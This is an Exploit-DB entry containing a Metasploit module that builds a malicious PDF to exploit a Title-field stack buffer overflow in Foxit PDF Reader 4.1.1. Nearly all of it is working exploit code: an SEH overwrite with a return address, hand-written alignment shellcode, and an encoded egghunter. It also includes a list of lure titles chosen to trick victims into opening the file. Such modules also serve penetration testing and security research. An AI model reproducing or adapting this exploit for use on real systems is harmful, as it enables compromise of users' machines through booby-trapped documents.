Exploit-DB #16621
Description: Foxit PDF Reader 4.1.1 - Title Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-12-16
Author: Metasploit

Exploit:
##
# $Id: foxit_title_bof.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::PDF
	include Msf::Exploit::Egghunter
	#include Msf::Exploit::Seh # unused due to special circumstances

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',
			'Description' 	=> %q{
					This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
				4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
				contains an overly long string in the Title field. This results in overwriting a
				structured exception handler record.

				NOTE: This exploit does not use javascript.
			},
			'License'	=> MSF_LICENSE,
			'Version'	=> "$Revision: 11353 $",
			'Author'	=>
				[
					'dookie',        # Discovered the bug
					'Sud0',          # Original exploit (from Offsec Exploit Weekend)
					'corelanc0d3r',  # Metasploit exploit
					'jduck'          # Metasploit-fu
				],
			'References'     =>
				[
					#[ 'CVE', '' ],
					[ 'OSVDB', '68648' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/15532' ],
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ]
				],
			'Payload'	=>
				{
					'BadChars'	=>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EDI',  # egghunter jmp edi
						}
				},
			'Platform'	=> 'win',
			'Targets'	=>
				[
					[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ]  #unicode p/p/r foxit reader.exe
				],
			'DisclosureDate' => 'Nov 13 2010',
			'DefaultTarget'	=> 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf'])
			], self.class)
	end

	def exploit
		@label = rand_text_alpha(7)

		nseh = "\x5A\x41" # pop edx -- to make edx writable
		seh = target['Ret']

		# inc ecx / pop esp / popad / push esp / ret
		align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3"
		ecx_control = "\xB3\x30\xB3" # becomes ecx

		hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		# Encode with alphamixed, then unicode mixed
		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
			enc = framework.encoders.create(name)
			if name =~ /unicode/
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
			else
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
			end
			# NOTE: we already eliminated badchars
			hunter = enc.encode(hunter, nil, nil, platform)
			if name =~/alpha/
				#insert getpc_stub & align EDX, unicode encoder friendly.
				#Hardcoded stub is not an issue here because it gets encoded anyway
				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
				hunter = getpc_stub + hunter
			end
		}
		#tweak hunter, patched to make it write to ECX
		hunter[1] = "a"

		doctitles = [
			"Confidential : Contract + Terms of Use",
			"Contract information",
			"Acquisition contract",
			"...loading, please wait...",
			"Trademark, patent and copyright information",
			"Limited Liability Partnership",
			"Partnership agreement",
			"Last will and testament",
			"How to hack gmail",
			"Running Metasploit on Windows Mobile",
			"Free torrent sites",
			"Lady Gaga naked",
			"Free Shopping vouchers"
		]

		sploit = ''
		sploit << doctitles[rand(doctitles.length)]
		sploit << " " * (target['Offset'] - sploit.length)
		sploit << nseh << seh
		sploit << align
		sploit << ecx_control
		sploit << hunter

		file_create(make_pdf(sploit))
	end

	# Override the mixin obfuscator since it doesn't seem to work here.
	def nObfu(str)
		return str
	end

	def trailer(root_obj)
		ret = 'trailer'
		ret << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj)
		ret << nObfu("/Info ") << ioRef(5)
		ret << nObfu("/#{@label} #{@egg}")
		ret << nObfu(">>")
		ret << eol
		ret
	end

	def make_pdf(sploit)
		@pdf << header('1.4')

		add_object(1, nObfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/Type/Catalog/Lang(en-US)>>"))
		add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
		add_object(3, nObfu("<</Count 1/Type/Pages/Kids[") << ioRef(4) << nObfu("]>>"))
		add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>"))
		add_object(5, nObfu("<</Title (") + sploit + nObfu(")>>"))

		finish_pdf
	end

end